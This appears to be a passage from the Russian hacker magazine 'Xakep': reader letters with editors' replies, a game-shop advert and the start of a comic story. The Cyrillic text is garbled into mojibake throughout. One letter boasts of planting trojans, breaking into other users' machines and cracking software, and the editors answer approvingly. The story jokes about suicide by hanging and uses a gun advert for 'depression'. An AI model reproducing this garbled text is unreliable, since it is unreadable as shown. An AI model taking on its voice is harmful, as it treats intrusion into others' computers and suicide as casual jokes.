(ðåäàêöèè) è ïîäïèñàòüñÿ íà æóðíàë. Ðåäàêöèîííàÿ ïîäïèñêà â<br />
ïëàíå äîñòàâêè ïîëó÷øå áóäåò, åñëè ïðèíÿòü âî âíèìàíèå ëåñòíûå<br />
îòçûâû î ðàáîòå íàøåé ãîñóäàðñòâåííîé ïî÷òîâîé ñëóæáû â ïëàíå<br />
äîñòàâêè ïåðèîäè÷åñêèõ èçäàíèé íàñåëåíèþ.<br />
Ïðèâåò, ðåäàêöèÿ!<br />
Âîò óæå íåñêîëüêî ëåò ÷èòàþ âàø æóðíàë, à íàïèñàòü - ÷òî-òî âñå íèêàê. È âîò<br />
îíî ñâåðøèëîñü!!! Èòàê, çà ýòè íåñêîëüêî ëåò:<br />
1. Ìîè äîõîäû âîçðîñëè áëàãîäàðÿ âàøåìó æóðíàëó (ñîâåòàì èç íåãî).<br />
2. Íà÷àë ïèòü ïèâî â íåìåðåíîì êîëè÷åñòâå, îò÷åãî òîëñòåòü íà÷àë, íî âî<br />
âðåìÿ ïðîöåäóðû âûíîñà áóòûëîê è òåñòèðîâàíèÿ ÏÎ õóäåþ :).<br />
3. Äåâóøêà æàëóåòñÿ, ÷òî òîëüêî ìîé çàòûëîê è âèäèò, à ÿ åé ãîâîðþ, ÷òî òàê<br />
ýòî ñ ðîæäåíèÿ (ìîë, ïàïà ïðîãðàììåð).<br />
Íó à, â îáùåì-òî, ñå õîðîøî è áëàãîäàðÿ âàøåìó æóðíàëó æèçíü ïîìåíÿëàñü<br />
ê ëó÷øåìó!!!  îáùåì, ðàäîñòü â ìàññû âû ïðèíîñèòå, õîòÿ åñòü è îãîð÷åíèÿ:<br />
1 è ïîñëåäíåå. ÑîFò íà äèñêå íå âåñü ïàøåò, à îòêðîâåííî ãîâîðÿ, ïðîñòî<br />
ãîâîðèò, ÷òî, ìîë, íå áóäó ÿ ñòàâèòüñÿ :(.<br />
Íó âîò, â îáùåì, è âñå, ÷åãî õîòåë ÿ íàïèñàòü, õîòü ïðèçà ýòîé ìåññàãå è íå<br />
âèäàòü, à âîò íàïå÷àòàòü îîîîñåíü ïðîøó: ãîðäûé áóäó :).<br />
Âîò è âñå! Óäà÷è, äåðçàéòå â òîì æå äóõå!<br />
Siner.<br />
Çäîðîâî æèâåøü, Siner! Ïîñåìó ïðåäëàãàþ.<br />
1. 10% îò äîõîäîâ - â ôîíä ðàçâèòèÿ æóðíàëà. Æàäíè÷àòü<br />
íåõîðîøî :).<br />
2. Åùå îäèí ñïîñîá ïîõóäåòü: çàéìèñü êîäèíãîì. Áåññîííûå<br />
ãîëîäíûå íî÷è, ïðîâåäåííûå çà îòëàäêîé î÷åðåäíîé ñâîåé<br />
ñîôòèíû, î÷åíü õîðîøî ñïîñîáñòâóþò ïðîöåññó ïîõóäàíèÿ.<br />
3. Ñ äåâóøêîé íåïîðÿäîê ïîëó÷àåòñÿ. Èì äðóãèå âåùè ïîêàçûâàòü<br />
íàäî (X, íàïðèìåð :)). Äåâóøêè, îíè âåäü êàê ëåä. Ñíà÷àëà<br />
õîëîäíûå (ïîêà çàòûëîê åé ñâîé ñóåøü ïîñìîòðåòü), ïîòîì òàÿòü<br />
íà÷èíàþò, à ïîòîì ïðîñòî òåêóò :).<br />
Êñòàòè, èíòåðåñíûé òåáå êàêîé-òî ñîôò íà äèñêå ïîïàäàåòñÿ. Âèäíî<br />
íå ïîíðàâèëñÿ åìó ÷åì-òî òâîé çàòûëîê. Íî ñîôò íå äåâóøêà, ê<br />
íåìó äðóãîé ïîäõîä íóæåí: àïãðåéä, íàïðèìåð.<br />
Òàê ÷òî äóìàé, Sine, ñëåäóé íàøèì ñîâåòàì è îñîáî íå ãîðäèñü! À<br />
êîãäà ïðîãðåññà äîñòèãíåøü, ïèøè, æäåì.<br />
Òâîé X.<br />
From: Aðíè [arnil@yandex.ru]<br />
Subject: Ñïàñèáî çà òî, ÷òî âû åñòü...<br />
Çäðàâñòâóéòå, magazine.<br />
Êàê-òî âå÷åðîì ïåðåä ñíîì ÿ âçÿë ñòàðåíüêèé íîìåð Õàêåð'à (v4.02), ðåøèë<br />
ïåðå÷èòàòü îäíó ñòàòüþ ("Mail.ru - äûðêà çà äûðêîé")...  îãëàâëåíèå ëåçòü íå ñòàë:<br />
ïåðåáèðàë ñòðàíèöû ìåòîäîì, íåìíîãî ñìàõèâàþùèì íà random. Ñëó÷àéíî íàòêíóëñÿ<br />
íà ñòàòüþ "Ïîëíîöåííîå èñïîëüçîâàíèå ñëóæåáíîãî èíòåðíåòà". Ïîñëå ïðî÷òåíèÿ, íè<br />
ìíîãî, íè ìàëî, ÿ ïîíÿë ñìûñë æèçíè. ß ïîíÿë, â ÷åì Ñèëà. ß ðàçîì îñîçíàë ïóòü<br />
ïðîãðåññà ÷åëîâå÷åñêèõ öèâèëèçàöèé. ß ïî÷óâñòâîâàë, ÷òî ìîé ìîçã - ãåíåðàòîð èäåé,<br />
è ÿ ñàì ìîãó ïîâîðà÷èâàòü íàïðàâëåíèå ñâîåãî ðàçâèòèÿ íà íóæíûé êóðñ! Ïåðåäî<br />
ìíîé â îäíî÷àñüå ðàñêðûëèñü ãëóáèííûå ôèëîñîôñêèå âîïðîñû. Òåïåðü ìåíÿ íè÷òî<br />
íå ñìîæåò óäåðæàòü îò ñîçäàíèÿ è âîïëîùåíèÿ â æèçíü ñîáñòâåííûõ ïðîåêòîâ (íà<br />
ïåðâûé âçãëÿä, äàæå ÷åðåñ÷óð àìáèöèîçíûõ, íî ýòî òîëüêî íà ïåðâûé âçãëÿä...).<br />
Ñïàñèáî âàì âñåì: àâòîðàì, ðåäàêòîðàì, ÷èòàòåëÿì, õàêåðàì, ëàìåðàì, þçåðàì,<br />
àäìèíàì... Ñïàñèáî âàì çà òî, ÷òî âû åñòü.<br />
Æóðíàë "Õàêåð" çàäàåò íàïðàâëåíèå, ïî êîòîðîìó íóæíî ðàçâèâàòüñÿ.<br />
Ñ óâàæåíèåì, Aðíè.<br />
Âî êàê â æèçíè áûâàåò: ïðî÷èòàë ñòàòüþ, è â îäíî÷àñüå îáúÿë<br />
íåîáúÿòíîå. Íè ìíîãî íè ìàëî, ëó÷øèå óìû ÷åëîâå÷åñòâà òàê è íå<br />
ïðèøëè ê îêîí÷àòåëüíîìó âûâîäó, êàê ðîæäàëèñü è óìèðàëè<br />
÷åëîâå÷åñêèå æå öèâèëèçàöèè. È ýòî òîëüêî ñàìûé ïîâåðõíîñòíûé<br />
(è íå ñîâñåì ôèëîñîôñêèé) âîïðîñ èç ïîñòàâëåííûõ Àðíè. À ïðî<br />
èçâå÷íóþ ðèòîðè÷åñêóþ ïðîáëåìó ñìûñëà æèçíè è ãîâîðèòü íå<br />
áóäó... Ðàäóåò, ÷òî òîâàðèù Àðíè ïî çàâåðøåíèè ïðîöåññà<br />
ñàìîïîçíàíèÿ (çàìåòèì, ñ äîâîëüíî î÷åâèäíûì ðåçóëüòàòîì) âñå<br />
åùå àäåêâàòíî âîñïðèíèìàåò îêðóæàþùóþ äåéñòâèòåëüíîñòü.<br />
Ïèñüìà â X ïèøåò, äà è àìáèöèîçíûå ïðîåêòû â æèçíü âîïëîùàòü -<br />
íå ïîñëåäíåå çàíÿòèå.<br />
È âñå äåëî, îêàçûâàåòñÿ, äàæå íå â âîëøåáíûõ ïóçûðüêàõ è<br />
òàáëåòêàõ, à â ñëóæåáíîì èíòåðíåòå. Òàê ÷òî ïîëüçóéòåñü õàëÿâîé,<br />
ãîñïîäà îôèñíûå ðàáîòíèêè. È ïîáëàãîäàðèòå õàêåðîâ, þçåðîâ è,<br />
ãëàâíîå, ñâîåãî ïðàâåäíèêà-ìó÷åíèêà àäìèíà çà ýòó ÷óäåñíóþ<br />
âîçìîæíîñòü - ïîçíàâàòü ñåáÿ ïîñðåäñòâàì âèòîé ïàðû.<br />
 îáùåì, ñïàñèáî âñåì. Àìèíü.<br />
From: SpyXP [boron@atnet.ru]<br />
Subject: Xakep è ÿ<br />
Ïðèâåòñòâóþ òåáÿ, î âåëèêèé "}{ÀÊÅÐ"!!!<br />
Loading... Ñomplete.<br />
Ïèøåò âàì íà÷èíàþùèé õàêåð (íó, èëè òèïà òîãî :)).<br />
Êàê-òî ïåðåä Íîâûì Ãîäîì, êóïèë âàø æóðíàë (íóìåðî 48) ñ CD, íå çíàþ, ÷òî<br />
ìåíÿ âäðóã òàê ïîòÿíóëî â êàðìàí çà áàáëîì (115ð. âñå-òàêè), äî ýòîãî ÿ íå<br />
÷èòàë âàø æóðíàë, òàê… ñëûøàë îò äðóçåé. Íèêòî èç íèõ íè õðåíà íå<br />
ïîíèìàë, ÷òî ÷èòàë (âñå ëàìåðà ïîëíûå). Ïðèäÿ äîìîé, ñðàçó ëåã ÷èòàòü, íå<br />
ìîã îòîðâàòüñÿ (íå îò äèâàíà :)), ïîêà íå ïðî÷èòàë âñå. ×èòàë âåñü æóðíàë,<br />
õîòÿ ìíîãîå íå ïîíÿë - ïðîèçâåëî îãðîìíîå âïå÷àòëåíèå. Âîîáùå, êîìï<br />
ïîÿâèëñÿ ó ìåíÿ 3 ãîäà íàçàä, è ñðàçó ÿ ïî÷óâñòâîâàë ó ñåáÿ ðâåíèå ê PC,<br />
÷åðåç ìåñÿö óæå ñïîêîéíî ðàçáèðàë êîðïóñ, ïåðåóñòàíàâëèâàë âèíäó, çíàë<br />
âñå ïðî ñâîþ ñèñòåìó. Êòî-òî ñêàæåò, ÷òî òóò íè÷åãî ñëîæíîãî, íî äî ýòîãî ÿ<br />
íèãäå íè÷åìó íå ó÷èëñÿ, âñå äåëàë îò ñåáÿ. Êîðî÷å, ÿ áûñòðî ó÷óñü. Ïîçæå ÿ<br />
êóïèë 4 ñòàðûõ íîìåðà (01.02, 02.02, 06.02, 08.02): ÷èòàë âñå, ó÷èëñÿ. Çàòåì<br />
ïîÿâèëñÿ äîëãîæäàííûé ÈÍÅÒ, è ïîíåñëîñü! Êà÷àë ïðîãè, òðîÿíû, íþêè,<br />
âèðóñû (óïàêîâàííûå :)) è ïðî÷åå.<br />
Çàõîòåëîñü õàëÿâíîãî èíåòà... Ñåé÷àñ ÿ óæå óìåþ ïîëüçîâàòüñÿ ñêàíåðàìè,<br />
çàñûëàòü òðîÿíû, èñïîëüçîâàòü øïèîíîâ, çàïîëçàòü ê ëàìåðàì íà ìàøèíû,<br />
âçëîìàë îäíó ïðîãó (System Mechanic). Íî ÿ íå îñòàíàâëèâàþñü è ïðîäîëæàþ<br />
ñîâåðøåíñòâîâàòüñÿ, õî÷ó ïîíÿòü êîäèíã, ïðèìåíÿòü ñêðèïòû è ìíîãîå<br />
äðóãîå. ÎÃÐÎÌÍÎÅ ÑÏÀÑÈÁÎ âàøåìó æóðíàëó, çà òî, ÷òî âû åñòü... Åñëè áû<br />
íå âû, òî ÿ ïðîäîëæàë áû èãðàòü â òóïûå èãðû è íå óçíàë áû õàêåðñêîé<br />
æèçíè. À âîîáùå, ÿ ÷åëîâåê ðàçíîñòîðîííèé: çàíèìàþñü áðåéêîì, graffiti,<br />
ôóòáîëîì. È ñ÷èòàþ, ÷òî âñå ÷åëû íå äîëæíû âèñíóòü íà îäíîì. Òîò æå êîìï,<br />
íàïðèìåð. Êîíå÷íî, êðóòî ñèäåòü èãðàòü, ÷òî-òî âçëàìûâàòü (à åñëè õàêåð...),<br />
íî âåäü íåëüçÿ ïðîâîäèòü âñå âðåìÿ äîìà ó êîìïà. ß íå çðÿ ãîâîðþ ïðî ýòî:<br />
ìíîãî ìîèõ äðóçåé ïðîñòî íå âûõîäÿò íà óëèöó, íå îáùàþòñÿ ñ äåâ÷îíêàìè,<br />
ñòàíîâÿòñÿ çàáèòûìè. Ïîíèìàþ åñëè á îíè ëîìàëè ñàéò äîëáàíîãî Ïåíòàãîíà,<br />
à îíè ïðîñòî ðóáÿòñÿ â Êîíòðó, òóïûå ñòðàòåãèè è ïðî÷åå.<br />
Íó ëàäíî, ìîæíî åùå ìíîãî âàì ïîâåäàòü, íî äëÿ ïåðâîãî ðàçà õâàòèò,<br />
îáÿçàòåëüíî íàïèøó åùå î ñâîèõ ïðîäâèæåíèÿõ â õàêåðñòâå. Åùå ðàç<br />
ÑÏÀÑÈÁÎ çà âñå, ïðîäîëæàéòå ðàçâèâàòüñÿ ïî òîìó æå ïóòè! }{AKEP -<br />
FOREVER!!!<br />
LEVEL ONE COMPLETE. YOU MUST CONTINUE...<br />
Ñèíäðîì CS (îí æå ÊÑ, Êîíòðû, Counter-Strike'à) íàáèðàåò îáîðîòû.<br />
Ó íåñ÷àñòíûõ ãåéìåðîâ ïðîñòî ñíîñèò êðûøó, è ñ ýòèì íàäî ÷òî-òî<br />
äåëàòü. Áûëè ðåàëüíûå ñëó÷àè ñìåðòè îò ôèçè÷åñêîãî èñòîùåíèÿ<br />
ïðÿìî â êîìïüþòåðíûõ êëóáàõ (ïîêà â Êèòàå, íî ýòî òîëüêî ïîêà)<br />
ïîñëå íåñêîëüêèõ äíåé íåïðåðûâíîé èãðû â CS. ×óâàêàì íàäî<br />
ñðî÷íî âïðàâëÿòü ìîçãè, ïîêà îíè ñîâñåì íå âûêèïåëè ïåðåä<br />
ìîíèòîðîì. Ðàç óæ ãîñóäàðñòâî è ðîäèòåëè íå ñìîãëè íàñòàâèòü<br />
ìîëîäåæü íà ïóòü èñòèííûé, ýòèì áóäåì çàíèìàòüñÿ ìû - òå, êîìó<br />
íå âñå ðàâíî, ÷òî ïðîèñõîäèò âîêðóã.<br />
È â ýòîé ñèòóàöèè ïèñüìî SpyXP êàê íåëüçÿ êñòàòè. Ñ ïðîáëåìîé<br />
íàäî áîðîòüñÿ èçíóòðè :). Ïðåäëàãàþ âñåì ñîëèäàðíûì ñ íèì íå<br />
ñèäåòü íà ìåñòå, à ïðîèçâåñòè ïñèõîëîãè÷åñêóþ àòàêó íà çàáèòûõ<br />
äðóãàíîâ. Èäåÿ - ïîêàçàòü èì, ÷òî æèòü - õîðîøî, à õîðîøî æèòü (ñ<br />
äåâóøêàìè è äðóãèìè ðàäîñòÿìè), åñòåñòâåííî, åùå ëó÷øå áóäåò.<br />
 îáùåì, ïîáîëüøå áû òàêèõ íåáåçðàçëè÷íûõ ãðàæäàí, êàê SpyXP,<br />
è ìû íå ïðîïàäåì :)!<br />
104
ÈÍÒÅÐÍÅÒ ÌÀÃÀÇÈÍ<br />
Ñ ÄÎÑÒÀÂÊÎÉ ÍÀ ÄÎÌ<br />
ÁÛÑÒÐÎ ÓÄÎÁÍÎ ÄÎÑÒÓÏÍÎ<br />
From: Nastym n [nastym_n@pisem.net]<br />
Subject: Ïðî æóðíàë!<br />
Ïðèâåò, magazine,<br />
Ñïàñèáî âàì çà ïîçíàâàòåëüíûé æóðíàë! Åñëè áû íå âû - õ** áû ÿ<br />
õîòü ÷òî-òî óçíàë! È, êñòàòè, ïîëåçíî áûëî áû âàì ïðî GPRS<br />
íàïèñàòü!<br />
Best regards,<br />
Nastym n<br />
Âîò ýòî ÿ ïîíèìàþ, êîðîòêî è ÿñíî :). È íèêàêèõ òÿæåëûõ<br />
ðàçìûøëåíèé. Íàì, â ñâîþ î÷åðåäü, ïðèÿòíî, ÷òî òû,<br />
Nastym, âñå-òàêè ÷òî-òî óçíàë. Íå çðÿ, âèäíî, ñòàðàåìñÿ,<br />
ïðîñâåùàåì ìàññû.<br />
Ïðî GPRS, íàäåþñü, òû ïðî÷èòàë ñòàòüþ â àïðåëüñêîì<br />
íîìåðå - 04.03(52).<br />
From: myguardian@nm.ru<br />
Subject: n/a<br />
Çäðàâñòâóéòå, óâàæàåìûå õàêåðû. Ó ìåíÿ<br />
î÷åíü ñåðüåçíàÿ ïðîáëåìà: êóïèë ÿ ñåáå<br />
TOSHIBA DVD-ROM SD-R1202 è ñ åãî<br />
ïîìîùüþ çàïèñàë íà áîëâàíêó î÷åíü<br />
âàæíóþ èíôîðìàöèþ. Íî ïî÷åìó-òî îíà<br />
çàïèñàëàñü â ðåæèìå read-only, è òåïåðü ÿ<br />
íå ìîãó åå ñêîïèðîâàòü îáðàòíî íà<br />
âèí÷åñòåð :(! Ïîäñêàæèòå, ÷òî ìíå äåëàòü<br />
Àëåêñ<br />
Òåõíè÷åñêèå ïàðàìåòðû:<br />
Ïðîöåññîð: Intel Pentium-3 733 Mhz<br />
Ãðàôè÷åñêèé ïðîöåññîð:<br />
nVidia XGPU 233 Mhz<br />
Ïðîèçâîäèòåëüíîñòü: 125 Ìëí ïîë./ñåê<br />
Ïàìÿòü: 64 Mb 200 Mhz DDR<br />
Çâóê: nVidia MCPX 200 Mhz,<br />
256 êàíàëîâ, Dolby Digital 5.1<br />
Ïðî÷åå: 2-5õ DVD-drive, æåñòêèé äèñê 8 Gb,<br />
4xUSB-ïîðòà, ñåòåâàÿ ïëàòà 100 MBps<br />
Âîñïðîèçâåäåíèå DVD-ôèëüìîâ<br />
$83.99*/85.99 $83.99*/85.99<br />
PAL $299.99<br />
NTSC $309.99<br />
$83.99*/85.99 $83.99*/83.99<br />
Ïðèâåòñòâóþ òåáÿ, ìíîãîóâàæàåìûé Àëåêñ. Òû<br />
çíàåøü, ó ìåíÿ òàêàÿ æå, íå ïîáîþñü ýòîãî ñëîâà,<br />
ôèãíÿ íåäàâíî ïðîèçîøëà. Ïðèñëàë íàì êàê-òî<br />
äîáðîæåëàòåëüíûé ïîêëîííèê ñâîé ñâîï íà<br />
ðåäàêöèîííîå ìûëî. Äîëãî áèëèñü ëó÷øèå óìû X<br />
íàä ïðîáëåìîé, ÷òî ýòî òàêîå â àòòà÷å è çà÷åì îíî<br />
íàì íàäî. Â êîíöå êîíöîâ áûëî ðåøåíî îòïðàâèòü<br />
ñèå ïèñüìåöî ýêñïåðòàì â ëàáîðàòîðèþ èì.<br />
Êàøïèðîâñêîãî íà ýâðèñòè÷åñêî-ðåêóððåíòíûé<br />
àíàëèç. À òàê êàê ó÷åíûå ñåé÷àñ áåç èíåòà ñèäÿò,<br />
ïðèøëîñü ïîäîçðèòåëüíîå ïèñüìî çàáîëâàíèòü. È<br />
òàê îíî îáîëâàíèëîñü, ÷òî íè íà âèí÷åñòåð<br />
ñêîïèðîâàòü, íè íà äèñêåòó íå ïîëó÷àåòñÿ. Òåïåðü<br />
âîò ñèäèì è äóìàåì: òî ëè ðåæèìîì read-only äèñê<br />
èñïîãàíèëè, òî ëè ýòî ïðîèñêè áóðæóèíñêîé<br />
ðàçâåäêè, à ìîæåò, ïðîñòî ðóêè êðèâûå<br />
Enter the Matrix<br />
The<br />
House of the Dead 3<br />
c Mad Catz Blaster<br />
Brute Force<br />
$109.99 $83.99*/85.99 $83.99<br />
Dead or Alive<br />
Xtreme Beach<br />
Volleyball<br />
Tao Feng:<br />
Fist of the Lotus<br />
APEX<br />
* - öåíà íà àìåðèêàíñêóþ âåðñèþ èãðû (NTSC)<br />
Return to Castle<br />
Wolfenstein:<br />
Tides of War<br />
$83.99*/85.99<br />
Star Wars:<br />
Knights of the<br />
Old Republic<br />
Çàêàçû ïî èíòåðíåòó – êðóãëîñóòî÷íî!<br />
e-mail: sales@e-shop.ru<br />
Çàêàçû ïî òåëåôîíó ìîæíî ñäåëàòü<br />
ñ 10.00 äî 21.00 ñ ïîíåäåëüíèêà ïî ïÿòíèöó<br />
ñ 10.00 äî 19.00 ñ ñóááîòû ïî âîñêðåñåíüå<br />
(095) 928-6089 (095) 928-0360 (095) 928-3574
Þíèòû<br />
ÕÓÌÎÐ<br />
Äàíèèë Øåïîâàëîâ<br />
Ïîâåëèòåëü ïñèõîìàòðèö ãåíåòè÷åñêè<br />
ìîäèôèöèðîâàííûõ îñëèêîâ<br />
(dan@real.xakep.ru , www.danya.ru)<br />
Î Ò Ð Û Â Ê È È Ç Ð Î Ì À Í À<br />
1 2 3 4<br />
106 Íüþñû Ôåððóì Inside PC_Zone Âçëîì
Ðîññèéñêàÿ Íàöèîíàëüíàÿ Áèáëèîòåêà | Ýëåêòðîííûé<br />
êàòàëîã.<br />
>Ïîæàëóéñòà, ââåäèòå èíòåðåñóþùóþ âàñ òåìó â<br />
ñòðîêå ïîèñêà è íàæìèòå êíîïêó >"Íàéòè".<br />
ßíêà íà ìãíîâåíèå çàäóìàëàñü, íàìîòàëà íà ïàëåö<br />
ïðÿäü ñâîèõ ÷åðíûõ âîëîñ, ïîêóñàëà åå êîí-<br />
÷èê è ñ õèòðîé óëûáêîé íà÷àëà ïå÷àòàòü:<br />
>Âëèÿíèå èãðû QUAKE íà ðàçâèòèå òâîð÷åñêèõ<br />
ñïîñîáíîñòåé ó äåòåé.<br />
>Íàéòè<br />
>Íàéäåíî 0 ñîâïàäåíèé<br />
ßíêà ïðåçðèòåëüíî õìûêíóëà è îòâåðíóëàñü îò<br />
ìîíèòîðà ê îêíó. Âåñåííåå ñîëíöå òóò æå çàùåêîòàëî<br />
ãëàçà è íîñ. ßíêà ÷èõíóëà. Òàéêîì âçãëÿíóëà<br />
íà ðîìàíòè÷åñêè íåáðèòîãî ñîñåäà ñïðàâà…<br />
êîøêà íà ãàëñòóêå… êîøêà ñìîòðèò íà ìîíèòîð,<br />
îí ñìîòðèò íà ìîíèòîð. À çà îêíîì àïðåëü,<br />
óëî÷êè, çàêàò, ìÿãêèé âå÷åð, òåïëûé âå÷åð,<br />
âå÷åð-âå÷åð, óêóòûâàåò è îáíèìàåò, ëàñêàÿ êîæó<br />
âåòðîì, è â êàæäóþ êëåòî÷êó òâîåãî òåëà ïðîíèêàåò<br />
âåñíà, íåæíî è ñðàçó, è âûãèáàåøüñÿ äóãîé,<br />
è ãëóáîêî âçäûõàåøü, äà, äà, è íèêîãäà áû ýòî<br />
âñå íå êîí÷àëîñü… À îí ñìîòðèò íà ìîíèòîð. Íå<br />
íà ìåíÿ! Äóðàê!<br />
ßíêà ñíîâà ïîêóñàëà êîí÷èê ìíîãîñòðàäàëüíîé<br />
ïðÿäè, ïîñìîòðåëà íà çåëåíü çà îêíîì è ðåøèòåëüíî<br />
íàáðàëà â ñòðîêå ïîèñêà ñëîâî "êîíîïëÿ".<br />
Ðåçóëüòàò íå çàñòàâèë ñåáÿ æäàòü:<br />
> Êîíîïëÿ Ðîñòèñëàâ Âñåâîëîäîâè÷ "Îãðàíè÷åíèÿ<br />
íà ìîäåëü òðèïëåòíîãî ìàéðîíà èç >íàáëþäåíèé<br />
íåéòðèíî îò êîëëàïñà çâåçä". Ì. Ìèð:<br />
1980.<br />
Ê òàêîìó ßíêà ÿâíî íå áûëà ãîòîâà: îíà òóò æå<br />
çàêðûëà ðîò ëàäîíüþ, ïûòàÿñü íå ðàñõîõîòàòüñÿ<br />
íà âåñü çàë ýëåêòðîííîãî êàòàëîãà. ßíêà çàæìóðèëàñü,<br />
è ïåðåä åå âíóòðåííèì âçãëÿäîì òóò æå<br />
ïðåäñòàë ñåäåíüêèé, ëûñåþùèé ïðîôåññîð Êîíîïëÿ<br />
Ðîñòèñëàâ Âñåâîëîäîâè÷. Ïðîôåññîð ïî-<br />
÷åìó-òî ñèäåë â ïîçå ëîòîñà íà çàìûçãàííîì<br />
ìàòðàñå è ïîïûõèâàë òðóáî÷êîé. Çàìåòèâ, ÷òî çà<br />
íèì íàáëþäàþò, Ðîñòèñëàâ Âñåâîëîäîâè÷ ïðèîñàíèëñÿ,<br />
âûïóñòèë èçî ðòà íåñêîëüêî êîëåö ãîëóáîãî<br />
äûìà è òîíîì ëåêòîðà íà÷àë ñâîå ïîâåñòâîâàíèå:<br />
"Ìèëàÿ äåâóøêà, ìàëî êòî çíàåò, ÷òî çà<br />
ìèëëèîíû ïàðñåêîâ îòñþäà â ðåçóëüòàòå êîëëàïñà<br />
çâåçä ïðîèñõîäèò…".<br />
ßíêà îòêðûëà ãëàçà. Äà óæ, íàäî ñþäà ÷àùå íàâåäûâàòüñÿ!<br />
Ðàññêàçàòü ÷òî ëè Íåáðèòîìó ïðî<br />
êîëëàïñ Äà íó åãî - ïîäóìàåò åùå, ÷òî äóðî÷êà<br />
ìàëîëåòíÿÿ ñ ðâîòîé âìåñòî ìîçãà. Áóäåì äàëüøå<br />
ðàçâëåêàòüñÿ! Íà ýòîò ðàç ßíêà íå ñòàëà êóñàòü<br />
êîí÷èê ïðÿäè, à óâåðåííî ââåëà â ñòðîêå<br />
ïîèñêà ñëîâî "æîïà".<br />
- Äåâóøêà, âàì ïîìî÷ü - Ðàçäàëñÿ âäðóã ÷åé-òî<br />
íåäîáðûé ãîëîñ èç-çà ñïèíû. ßíêà îáåðíóëàñü:<br />
ïåðåä íåé ñòîÿëà áèáëèîòåêàðøà è õìóðî ñìîòðåëà<br />
íà ìîíèòîð:<br />
> "æîïà"<br />
>Íàéäåíî 0 ñîâïàäåíèé<br />
- ßíêà! Ïðèâåò!<br />
- Ïðèâåò! Äàé ÷ìîêíó! Êàê íàñòðîåíèå<br />
- Ìíå ñòûäíî, ÷òî ÿ ÷åëîâåê - ÿ õî÷ó áûòü ÷àéêîé<br />
íàä ñèíåé âîëíîþ!<br />
- Ìîëîäåö! À Ýïøòåéí äîìà<br />
- Êóäà îí äåíåòñÿ-òî Ïðûãàåò òàì ó ñåáÿ,<br />
äîëá..á!<br />
- Ïðûãàåò<br />
Êîëÿ âçäîõíóë, âçÿë ßíêó çà ðóêó, ïðîâåë åå ïî<br />
êîðèäîðó ê äàëüíåé êîìíàòå, èç êîòîðîé äîíîñèëñÿ<br />
íåðàçáîð÷èâûé ðå÷èòàòèâ ïîä îãëóøèòåëüíóþ<br />
ìóçûêó. Íà äâåðè âèñåë áîëüøîé ðåêëàìíûé ïëàêàò<br />
"Äåïðåññèÿ Ìû ïîìîæåì! SMITH&WES-<br />
SON…". Êîëÿ òîëêíóë äâåðü è êðèêíóë:<br />
- Ìàêñ, ßíêà ïðèøëà!<br />
ßíêà âûãëÿíóëà èç-çà ïëå÷à Êîëè: ïîñðåäèíå<br />
òåìíîé êîìíàòû íà áîëüøóùåì ïðóæèíÿùåì<br />
ìàòðàñå äåéñòâèòåëüíî ïðûãàë Ýïøòåéí. Íà íåì<br />
áûë øâåéöàðñêèé êèëò, êîòîðûé çàäèðàëñÿ ïðè<br />
êàæäîì ïðûæêå è îãîëÿë âîëîñàòûå íîãè, ìàéêà<br />
ñ íàäïèñüþ "FUCK ME, I AM FAMOUS!", à íà ãëàçàõ<br />
ïàðíÿ êðàñîâàëñÿ ïðèáîð íî÷íîãî âèäåíèÿ.<br />
Ìàêñ ýíåðãè÷íî æåñòèêóëèðîâàë ðóêàìè è ñ<br />
áîëüøèì ýíòóçèàçìîì îðàë â ìèêðîôîí ÷òî-òî<br />
íåðàçáîð÷èâîå.<br />
- Õýé! - äåâóøêà îñòîðîæíî êîñíóëàñü ïëå÷à<br />
Ýïøòåéíà.<br />
Çàìåòèâ ßíêó, Ìàêñ âûòÿíóëñÿ ïî ñòðóíêå, íà<br />
ìãíîâåíèå ïðèæàë ïðàâóþ ëàäîíü ê ñåðäöó, à çàòåì<br />
ðåçêî âûòÿíóë åå âïåðåä è çàîðàë:<br />
- Ñëàâà íàöèè!!!<br />
- Ñëàâà íàöèè!!! - ïîâòîðèëà åãî æåñò äåâóøêà.<br />
- Êîëÿíû÷, âîò ó òåáÿ åñòü ìå÷òà<br />
- Åñòü!<br />
- Êàêàÿ<br />
- Îáû÷íàÿ. Õî÷ó áîëüøîé è ÷èñòîé ëþáâè!<br />
- Ãû-ãû, ðûáîê ñåáå çàâåäè, ïðèäóðîê!!! Èëè ìóõó<br />
â áàíî÷êå! Ó ìåíÿ âîò áîëåå ðåàëüíàÿ ìå÷òà:<br />
õî÷ó, ÷òîáû ìû âñå âòðîåì ñåé÷àñ ïîòðàõàëèñü!<br />
ßíêà, ÷òî ñêàæåøü<br />
- Íå çíàþ äàæå. Íàâåðíîå, ÿ âñå-òàêè ïðîòèâ! -<br />
îòâåòèëà äåâóøêà ïîñëå íåïðîäîëæèòåëüíîãî<br />
ðàçäóìüÿ.<br />
Ìàêñ íàõìóðèëñÿ:<br />
- Òîãäà ìû ñ Íèêîì ïîâåñèìñÿ! Âîò ïðèäåøü òû ê<br />
íàì â ãîñòè â ñëåäóþùèé ðàç - à ìû âäâîåì íà<br />
ëþñòðå âèñèì… Èëè íåò, Íèê, äàâàé ëó÷øå ïîë<br />
ñìåíèì!!! Õîðîì! À ïîòîì ïîâåñèìñÿ!!! Òû æå<br />
äàâíî õîòåë êàêîé-íèáóäü ïåðôîìàíñ óñòðîèòü.<br />
À ýòî îäíîâðåìåííî ïåðôîìàíñ áóäåò è èíñòàëëÿöèÿ.<br />
Îõ..òü, êàê êðóòî!!!<br />
Êîëÿ õìûêíóë:<br />
- Ýòî ó ìåíÿ ðàíüøå òàêàÿ ìå÷òà áûëà. ß õîòåë<br />
ñåáÿ êëîíèðîâàòü è ïîë èçìåíèòü. À ïîòîì ñàìîìó<br />
ñ ñîáîé ïîòðàõàòüñÿ.<br />
- Íó è ÷åãî æ òû íå èçìåíèë - ñïðîñèëà ßíêà.<br />
- À ÿ ðåøèë, ÷òî ÿ, ñêîðåå âñåãî, ñàì ñåáå íå äàì!<br />
- Èäèîò! Áëèí, ßíêà, ÿ òóò â ìåòðî ðåêëàìó âèäåë<br />
- ïîëíûé óëåò!!! Çàöåíè: ãîëóáîå íåáî, òó÷êè òèïà<br />
ðàñõîäÿòñÿ è íàäïèñü "ÂÛÕÎÄ ÅÑÒÜ!". È òåëåôîí<br />
åùå äàí - ýòî ñëóæáà ïñèõïîääåðæêè êàêàÿòî!!!<br />
Äàâàéòå ïîçâîíèì!<br />
Íå äîæèäàÿñü îòâåòà, Ìàêñ ðóõíóë íà ìàòðàñ<br />
îêîëî òåëåôîíà è ñòàë íàáèðàòü êàêîé-òî íîìåð.<br />
